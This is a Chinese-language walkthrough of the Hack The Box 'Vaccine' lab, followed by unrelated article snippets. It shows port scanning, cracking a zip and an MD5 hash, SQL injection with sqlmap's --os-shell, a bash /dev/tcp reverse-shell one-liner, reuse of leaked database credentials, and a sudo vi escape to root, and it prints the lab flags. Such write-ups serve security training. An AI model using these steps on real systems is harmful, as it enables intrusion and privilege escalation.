HTB:Vaccine[WriteUP]

news2024/11/20 18:39:45

目录

连接至HTB服务器并启动靶机

1.Besides SSH and HTTP, what other service is hosted on this box?

2.This service can be configured to allow login with any password for specific username. What is that username?

3.What is the name of the file downloaded over this service?

4.What script comes with the John The Ripper toolset and generates a hash from a password protected zip archive in a format to allow for cracking attempts?

5.What is the password for the admin user on the website?

6.What option can be passed to sqlmap to try to get command execution via the sql injection?

7.What program can the postgres user run as root using sudo?

USER_FLAG:ec9b13ca4d6229cd5cc1e09980965bf7

ROOT_FLAG:dd6e058e814260bc70e9bbdef2715849


连接至HTB服务器并启动靶机

靶机IP:10.129.201.120

分配IP:10.10.16.48


1.Besides SSH and HTTP, what other service is hosted on this box?

使用fscan扫描靶机端口:

fscan -nobr -nopoc -np -h {TARGET_IP}

再使用nmap对靶机已开启的端口进行服务信息扫描:

nmap -p 21,22,80 -sC -sV {TARGET_IP}

从nmap扫描结果可见,除了SSH、HTTP服务外,靶机还开启了FTP服务


2.This service can be configured to allow login with any password for specific username. What is that username?

可以看到该FTP服务已启用匿名登录,用户名是:Anonymous


3.What is the name of the file downloaded over this service?

其实,此处通过nmap扫描结果已经能看出文件是:backup.zip

连接靶机FTP服务,名字输入:Anonymous,密码随便输入即可:

ftp {TARGET_IP}

使用dir命令列出所有文件可见backup.zip


4.What script comes with the John The Ripper toolset and generates a hash from a password protected zip archive in a format to allow for cracking attempts?

将backup.zip文件下载到本地:

get backup.zip

直接解压提示需要密码,将下载到的文件丢到ARCHPR中进行暴力破解:

获得backup.zip文件口令:741852963

回看题目,要求与john工具配合破解,使用zip2john将backup.zip文件转成哈希值:

zip2john backup.zip > hash

使用john对哈希值进行爆破,自行选用字典:

john -w={YOUR_DICTIONARY} hash

获得backup.zip文件口令:741852963 


5.What is the password for the admin user on the website?

使用口令对backup.zip文件进行解压,获得两个文件 index.php、style.css

首先查看index.php文件内容:

strings index.php

可以看到用户:admin 的密码经过了MD5加密:

2cb42f8734ea607eefed3b70af13bbd3

扔进MD5在线解密(bushi):

忘了刚才的操作吧孩子,现在我们使用hashcat尝试对该密文进行解密:

首先将该密文写入任一文件中:

echo '2cb42f8734ea607eefed3b70af13bbd3' > hash

使用hashcat对文件进行爆破解密:

hashcat -a 0 -m 0 hash {YOUR_DICTIONARY}
  • -a 0:指定攻击模式为字典攻击
  • -m 0:指定哈希类型为MD5

最终也是顺利拿到了明文:qwerty789


6.What option can be passed to sqlmap to try to get command execution via the sql injection?

通过浏览器直接访问靶机HTTP服务,并输入从上文得到的账户和密码:

点击SIGN IN进入后,可以看到右上角一个大大的SEARCH等着我们进行注入

通过Cookie-Editor插件,我们获取到了通过admin账户登录的Cookie值:

q8sjoos31otuhutbok580vap5s

接下来在SEARCH处随便输入一些字符获取完整URL,直接使用sqlmap进行自动注入:

sqlmap -u 'http://{TARGET_IP}/dashboard.php?search=666666' --cookie="PHPSESSID=q8sjoos31otuhutbok580vap5s" --batch --dbs

浏览一下完整输出,这里爆出几个数据库不重要:

接着使用--os-shell参数写入shell:

sqlmap -u 'http://{TARGET_IP}/dashboard.php?search=666666' --cookie='PHPSESSID=q8sjoos31otuhutbok580vap5s' --os-shell


7.What program can the postgres user run as root using sudo?

本地端开启nc持续监听:

os-shell端执行payload反弹shell:

bash -c "bash -i >& /dev/tcp/{NATIVE_IP}/{NATIVE_PORT} 0>&1"

通过python提升tty获取交互shell:

python3 -c 'import pty; pty.spawn("/bin/bash")'

使用find命令找一下user.txt文件,HTB中的user_flag一般都在这:

find / -name 'user.txt' 2>/dev/null

USER_FLAG:ec9b13ca4d6229cd5cc1e09980965bf7

接着查找所有.php后缀的文件:

find / -name '*.php' 2>/dev/null

前面我们已经审计过index.php,接下来我们查看dashboard.php中的内容:

查看dashboard.php文件内容:

cat /var/www/html/dashboard.php

用户:postgres

密码:P@s5w0rd!

通过用户名:postgres判断,这有可能是个PostgreSQL账户,尝试SSH登录:

ssh postgres@{TARGET_IP}

列出当前用户可以sudo执行的命令:

可见当前用户可以sudo执行vi命令打开:/etc/postgresql/11/main/pg_hba.conf


直接使用sudo执行该命令:

sudo /bin/vi /etc/postgresql/11/main/pg_hba.conf

使用vi命令进入该文件后输入:!/bin/bash ,启动shell:

提权成功:

再次使用find命令查找root.txt文件位置,使用cat查看root.txt文件内容:

ROOT_FLAG:dd6e058e814260bc70e9bbdef2715849

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2185654.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Kafka和RabbitMQ区别

RabbitMQ的消息延迟是微秒级,Kafka是毫秒级(1毫秒1000微秒) 延迟消息是指生产者发送消息发送消息后,不能立刻被消费者消费,需要等待指定的时间后才可以被消费。 Kafka的单机呑吐量是十万级,RabbitMQ是万级…

10.4 Linux_并发_线程

概述 线程的共享资源&#xff1a; 可执行的指令、静态数据、文件描述符、当前工作目录、用户ID、用户组ID 线程的私有资源&#xff1a; 线程ID、程序计数器PC和相关寄存器、堆栈、错误号、优先级、执行状态和属性 线程编译&#xff1a; gcc <.c文件> -l pthread -o…

数据集-目标检测系列- 螃蟹 检测数据集 crab >> DataBall

数据集-目标检测系列- 螃蟹 检测数据集 crab >> DataBall 数据集-目标检测系列- 螃蟹 检测数据集 crab >> DataBall 数据量&#xff1a;3k 想要进一步了解&#xff0c;请联系。 DataBall 助力快速掌握数据集的信息和使用方式&#xff0c;会员享有 百种数据集&a…

加密与安全_TOTP 一次性密码生成算法

文章目录 PreTOTP是什么TOTP 算法工作原理TOTP 生成公式TOTP 与 HOTP 的对比Code生成TOTP验证 TOTP使用场景小结 TOTP 与 HOTP 的主要区别TOTP 与 HOTP应用场景比较TOTP 与 HOTP安全性分析 Pre 加密与安全_HTOP 一次性密码生成算法 https://github.com/samdjstevens/java-tot…

YOLO11改进|卷积篇|引入可变核卷积AKConv

目录 一、AKConv卷积1.1AKConv卷积介绍1.2MLCA核心代码 五、添加MLCA注意力机制5.1STEP15.2STEP25.3STEP35.4STEP4 六、yaml文件与运行6.1yaml文件6.2运行成功截图 一、AKConv卷积 1.1AKConv卷积介绍 AKConv允许卷积参数的数量以线性方式增加或减少&#xff0c;而不是传统的平…

C# 表达式与运算符

本课要点&#xff1a; 1、表达式的基本概念 2、常用的几种运算符 3、运算符的优先级 4、常见问题 一 表达式 表达式是由运算符和操作数组成的。、-、*和/等都是运算符&#xff0c;操作数包括文本、常量、变量和表达式等。 二 算术运算符 2.1 算术运算符的使用 三 常见错误 …

Cocotb 学习记录--V01

1. Windows 下安装cocotb pip install cocotb 其他参考&#xff1a; 1.Welcome to cocotb’s documentation! — cocotb 1.9.1 documentation

【Koa】文件上传

主要使用两个 koa 插件&#xff0c;koa-body 里面自带文件上传功能&#xff0c;还有一个 koa-staitc 用于配置静态资源目录&#xff08;可以通过路径直接访问图片&#xff09;。 router const Router require(koa/router); const {upload} require(../controller/user);con…

Spring之生成Bean

Bean的生命周期&#xff1a;实例化->属性填充->初始化->销毁 核心入口方法&#xff1a;finishBeanFactoryInitialization-->preInstantiateSingletons DefaultListableBeanFactory#preInstantiateSingletons用于实例化非懒加载的bean。 1.preInstantiateSinglet…

【RADARSAT Constellation Mission(RCM)卫星星座简介】

RADARSAT Constellation Mission&#xff08;RCM&#xff09;卫星星座是加拿大太空局&#xff08;CSA&#xff09;的下一代C波段合成孔径雷达&#xff08;SAR&#xff09;卫星星座&#xff0c;以下是对其的详细介绍&#xff1a; 一、基本信息 发射时间&#xff1a;2019年6月…

Golang | Leetcode Golang题解之第452题用最少数量的箭引爆气球

题目&#xff1a; 题解&#xff1a; func findMinArrowShots(points [][]int) int {if len(points) 0 {return 0}sort.Slice(points, func(i, j int) bool { return points[i][1] < points[j][1] })maxRight : points[0][1]ans : 1for _, p : range points {if p[0] > …

秒懂Linux之线程

目录 线程概念 线程理解 地址空间&#xff08;页表&#xff0c;内存&#xff0c;虚拟地址&#xff09; 线程的控制 铺垫 线程创建 ​编辑 线程等待 线程异常 线程终止 代码 线程优点 线程缺点 线程特点 线程概念 线程是进程内部的一个执行分支&#xff0c;线程是C…

小程序-全局数据共享

目录 1.什么是全局数据共享 2. 小程序中的全局数据共享方案 MboX 1. 安装 MobX 相关的包 2. 创建 MobX 的 Store 实例 3. 将 Store 中的成员绑定到页面中 4. 在页面上使用 Store 中的成员 5. 将 Store 中的成员绑定到组件中 6. 在组件中使用 Store 中的成员 1.什么是全…

【LeetCode】每日一题 2024_10_2 准时到达的列车最小时速(二分答案)

前言 每天和你一起刷 LeetCode 每日一题~ 大家国庆节快乐呀~ LeetCode 启动&#xff01; 题目&#xff1a;准时到达的列车最小时速 代码与解题思路 今天这道题是经典的二分答案&#xff0c;结合这道题来讲就是&#xff0c;二分列车的速度 我最擅长的两个算法&#xff1a;一…

cGANs with Projection Discriminator

基于映射鉴别器的CGAN 模型中&#xff0c;判别器&#xff08;Discriminator&#xff09;不是通过将条件信息简单地与特征向量拼接&#xff08;concatenate&#xff09;来使用条件信息&#xff0c;而是采用一种基于投影的方式&#xff0c;这种方式更加尊重条件信息在底层概率模…

进程通信——内存映射

进程通信——内存映射 什么是内存映射 内存映射是一种将文件内容映射到进程地址空间的技术&#xff0c;使得进程可以直接访问文件内容&#xff0c;而不需要通过系统调用进行读写操作。内存映射可以提高文件访问的效率&#xff0c;并且可以实现进程间的通信。 内存映射的原理…

【HarmonyOS】时间处理Dayjs

背景 在项目中经常会使用要时间的格式转换&#xff0c;比如数据库返回一个Date数据&#xff0c;你需要转成2024-10-2的格式&#xff0c;鸿蒙的原生SDK中是没有办法实现的&#xff0c;因此&#xff0c;在这里介绍第三方封装好并且成熟使用的库Dayjs。 安装 切换到Entry文件夹下…

C++初学者指南-5.标准库(第二部分)–特殊迭代器

C初学者指南-5.标准库(第二部分)–特殊迭代器 文章目录 C初学者指南-5.标准库(第二部分)–特殊迭代器容器操纵器std::insert_iterator\<Container>std::back_insert_iterator\<Container>std::front_insert_iterator\<Container> I/O 流迭代器std::istream_i…

2024大二上js高级+ES6学习9.29(深/浅拷贝,正则表达式,let/const,解构赋值,箭头函数,剩余参数)

9.29.2024 1.浅拷贝和深拷贝 Es6的语法糖&#xff1a;用assign将obj对象浅拷贝给o对象。 把数组写在前面是因为数组也是对象 2.正则表达式 创建和检测正则表达式 正则表达式的使用直接跳过&#xff0c;等要用时现查现用 3.ES6 4.let关键字 块级作用域是指在一个{}l里 变量提…

Python | Leetcode Python题解之第441题排列硬币

题目&#xff1a; 题解&#xff1a; class Solution:def arrangeCoins(self, n: int) -> int:left, right 1, nwhile left < right:mid (left right 1) // 2if mid * (mid 1) < 2 * n:left midelse:right mid - 1return left